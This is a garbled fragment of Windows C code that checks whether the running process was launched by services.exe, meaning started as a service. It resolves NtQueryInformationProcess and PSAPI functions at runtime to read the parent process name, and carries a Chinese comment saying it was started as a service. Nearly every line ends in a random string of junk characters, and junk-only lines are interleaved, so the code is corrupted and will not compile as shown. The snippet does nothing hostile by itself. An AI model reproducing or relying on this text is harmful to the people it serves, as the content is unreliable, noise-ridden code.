DWORD BasePriority; X-=J7G`\h#
ULONG UniqueProcessId; @s/0 .7
ULONG InheritedFromUniqueProcessId; jW!)5(B[A
} PROCESS_BASIC_INFORMATION; K+s
xO/}h
esVZ2_eL
PROCNTQSIP NtQueryInformationProcess; mMRdnf!Uid
=3Hv
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M~&X?/8
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E)7ODRVbl
<"XDIvpc%L
HANDLE hProcess; r@m2foaO
PROCESS_BASIC_INFORMATION pbi; Bpw<{U
N$SJK
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y3vm+tJc{
if(NULL == hInst ) return 0; P?P))UB5
v
lsS
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ep3iI77/
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8fwM)DKS
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T>;Kq;(9
gwepaW
if (!NtQueryInformationProcess) return 0; ;c_pa0L
^BFD -p
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MjHjL~Tg
if(!hProcess) return 0; axW4cS ?
cOr@dUSL
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eL+L
{Ac
?) ~j>1"S
CloseHandle(hProcess); }@V,v[&e
4U*uH
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :9E_L2M
if(hProcess==NULL) return 0; @Sl!p)
\#A=twp
HMODULE hMod; rGe^$!QB
char procName[255]; ^:RDu q
unsigned long cbNeeded; O<x53MN^
Mwdw7MZ"S
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \O7?!i
> HL8hN'q'
CloseHandle(hProcess); |UO1v A@
M\s^>7es
if(strstr(procName,"services")) return 1; // 以服务启动 H5N(MihT
X&<